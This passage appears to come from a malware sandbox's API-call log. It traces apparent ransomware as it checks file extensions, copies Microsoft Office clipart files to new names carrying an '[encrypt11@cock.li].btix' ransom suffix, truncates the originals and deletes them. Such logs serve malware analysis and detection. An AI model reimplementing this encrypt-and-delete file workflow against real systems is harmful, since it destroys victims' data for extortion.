(lpString1=".zip", lpString2=".WMF") returned 1 [0134.882] lstrlenW (lpString=".rar") returned 4 [0134.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.882] lstrlenW (lpString=".bz2") returned 4 [0134.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.883] lstrlenW (lpString=".7z") returned 3 [0134.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0134.883] lstrlenW (lpString=".dbf") returned 4 [0134.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0134.883] lstrlenW (lpString=".1cd") returned 4 [0134.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0134.883] lstrlenW (lpString=".jpg") returned 4 [0134.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.883] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0134.883] lstrlenW (lpString="J0086432.WMF") returned 12 [0134.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0134.884] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=33434) returned 1 [0134.884] CloseHandle (hObject=0x544) returned 1 [0134.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 0x220 [0134.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0134.885] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.885] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0134.886] GetLastError () returned 0x0 [0134.886] ReadFile (in: hFile=0x544, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x829a, lpOverlapped=0x0) returned 1 [0134.897] WriteFile (in: hFile=0x534, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x82a0, lpOverlapped=0x0) returned 1 [0134.898] ReadFile (in: hFile=0x544, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0134.898] WriteFile (in: hFile=0x534, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0134.898] SetEndOfFile (hFile=0x534) returned 1 [0134.898] CloseHandle (hObject=0x534) returned 1 [0134.898] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.899] SetEndOfFile (hFile=0x544) returned 1 [0134.902] CloseHandle (hObject=0x544) returned 1 [0134.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 1 [0134.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0134.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0134.903] lstrlenW (lpString=".doc") returned 4 [0134.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.903] lstrlenW (lpString=".docx") returned 5 [0134.903] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0134.903] lstrlenW (lpString=".pdf") returned 4 [0134.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.903] lstrlenW (lpString=".xls") returned 4 [0134.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.903] lstrlenW (lpString=".xlsx") returned 5 [0134.903] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0134.903] lstrlenW (lpString=".ppt") returned 4 [0134.903] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0134.903] lstrlenW (lpString=".zip") returned 4 [0134.903] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.903] lstrlenW (lpString=".rar") returned 4 [0134.903] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.904] lstrlenW (lpString=".bz2") returned 4 [0134.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.904] lstrlenW (lpString=".7z") returned 3 [0134.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0134.904] lstrlenW (lpString=".dbf") returned 4 [0134.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0134.904] lstrlenW (lpString=".1cd") returned 4 [0134.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0134.904] lstrlenW (lpString=".jpg") returned 4 [0134.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0134.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0134.904] lstrlenW (lpString=".doc") returned 4 [0134.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.904] lstrlenW (lpString=".docx") returned 5 [0134.904] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0134.904] lstrlenW (lpString=".pdf") returned 4 [0134.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.904] lstrlenW (lpString=".xls") returned 4 [0134.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.904] lstrlenW (lpString=".xlsx") returned 5 [0134.904] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0134.904] lstrlenW (lpString=".ppt") returned 4 [0134.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0134.904] lstrlenW (lpString=".zip") returned 4 [0134.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.904] lstrlenW (lpString=".rar") returned 4 [0134.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.904] lstrlenW (lpString=".bz2") returned 4 [0134.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.904] lstrlenW (lpString=".7z") returned 3 [0134.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0134.905] lstrlenW (lpString=".dbf") returned 4 [0134.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0134.905] lstrlenW (lpString=".1cd") returned 4 [0134.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0134.905] lstrlenW (lpString=".jpg") returned 4 [0134.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.905] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0134.905] lstrlenW (lpString="J0086478.WMF") returned 12 [0134.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0134.906] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=14174) returned 1 [0134.906] CloseHandle (hObject=0x544) returned 1 [0134.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 0x220 [0134.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0134.906] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.906] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0134.907] GetLastError () returned 0x0 [0134.907] ReadFile (in: hFile=0x544, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x375e, lpOverlapped=0x0) returned 1 [0134.919] WriteFile (in: hFile=0x534, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x3760, lpOverlapped=0x0) returned 1 [0134.922] ReadFile (in: hFile=0x544, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0134.922] WriteFile (in: hFile=0x534, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0134.922] SetEndOfFile (hFile=0x534) returned 1 [0134.922] CloseHandle (hObject=0x534) returned 1 [0134.922] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.922] SetEndOfFile (hFile=0x544) returned 1 [0134.924] CloseHandle (hObject=0x544) returned 1 [0134.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 1 [0134.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0134.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0134.925] lstrlenW (lpString=".doc") returned 4 [0134.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.925] lstrlenW (lpString=".docx") returned 5 [0134.925] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0134.925] lstrlenW (lpString=".pdf") returned 4 [0134.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.926] lstrlenW (lpString=".xls") returned 4 [0134.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.926] lstrlenW (lpString=".xlsx") returned 5 [0134.926] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0134.926] lstrlenW (lpString=".ppt") returned 4 [0134.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0134.926] lstrlenW (lpString=".zip") returned 4 [0134.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.926] lstrlenW (lpString=".rar") returned 4 [0134.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.926] lstrlenW (lpString=".bz2") returned 4 [0134.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.926] lstrlenW (lpString=".7z") returned 3 [0134.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0134.926] lstrlenW (lpString=".dbf") returned 4 [0134.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0134.926] lstrlenW (lpString=".1cd") returned 4 [0134.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0134.926] lstrlenW (lpString=".jpg") returned 4 [0134.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0134.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0134.926] lstrlenW (lpString=".doc") returned 4 [0134.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.926] lstrlenW (lpString=".docx") returned 5 [0134.926] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0134.926] lstrlenW (lpString=".pdf") returned 4 [0134.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.926] lstrlenW (lpString=".xls") returned 4 [0134.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.927] lstrlenW (lpString=".xlsx") returned 5 [0134.927] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0134.927] lstrlenW (lpString=".ppt") returned 4 [0134.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0134.927] lstrlenW (lpString=".zip") returned 4 [0134.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.927] lstrlenW (lpString=".rar") returned 4 [0134.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.927] lstrlenW (lpString=".bz2") returned 4 [0134.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.927] lstrlenW (lpString=".7z") returned 3 [0134.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0134.927] lstrlenW (lpString=".dbf") returned 4 [0134.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0134.927] lstrlenW (lpString=".1cd") returned 4 [0134.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0134.927] lstrlenW (lpString=".jpg") returned 4 [0134.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.927] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0134.927] lstrlenW (lpString="J0089945.WMF") returned 12 [0134.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0134.928] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=19898) returned 1 [0134.928] CloseHandle (hObject=0x544) returned 1 [0134.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 0x220 [0134.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0134.928] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.928] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0134.929] GetLastError () returned 0x0 [0134.929] ReadFile (in: hFile=0x544, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x4dba, lpOverlapped=0x0) returned 1 [0135.231] WriteFile (in: hFile=0x534, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x4dc0, lpOverlapped=0x0) returned 1 [0135.232] ReadFile (in: hFile=0x544, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0135.232] WriteFile (in: hFile=0x534, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0135.232] SetEndOfFile (hFile=0x534) returned 1 [0135.232] CloseHandle (hObject=0x534) returned 1 [0135.232] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0135.232] SetEndOfFile (hFile=0x544) returned 1 [0135.235] CloseHandle (hObject=0x544) returned 1 [0135.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0135.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 1 [0135.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0135.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0135.724] lstrlenW (lpString=".doc") returned 4 [0135.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.724] lstrlenW (lpString=".docx") returned 5 [0135.724] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0135.724] lstrlenW (lpString=".pdf") returned 4 [0135.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.724] lstrlenW (lpString=".xls") returned 4 [0135.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.724] lstrlenW (lpString=".xlsx") returned 5 [0135.724] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0135.724] lstrlenW (lpString=".ppt") returned 4 [0135.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0135.725] lstrlenW (lpString=".zip") returned 4 [0135.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.725] lstrlenW (lpString=".rar") returned 4 [0135.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.725] lstrlenW (lpString=".bz2") returned 4 [0135.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.725] lstrlenW (lpString=".7z") returned 3 [0135.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0135.725] lstrlenW (lpString=".dbf") returned 4 [0135.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0135.725] lstrlenW (lpString=".1cd") returned 4 [0135.725] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0135.725] lstrlenW (lpString=".jpg") returned 4 [0135.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0135.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0135.725] lstrlenW (lpString=".doc") returned 4 [0135.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.725] lstrlenW (lpString=".docx") returned 5 [0135.725] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0135.725] lstrlenW (lpString=".pdf") returned 4 [0135.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.725] lstrlenW (lpString=".xls") returned 4 [0135.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.725] lstrlenW (lpString=".xlsx") returned 5 [0135.725] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0135.725] lstrlenW (lpString=".ppt") returned 4 [0135.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0135.725] lstrlenW (lpString=".zip") returned 4 [0135.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.725] lstrlenW (lpString=".rar") returned 4 [0135.726] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.726] lstrlenW (lpString=".bz2") returned 4 [0135.726] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.726] lstrlenW (lpString=".7z") returned 3 [0135.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0135.726] lstrlenW (lpString=".dbf") returned 4 [0135.726] 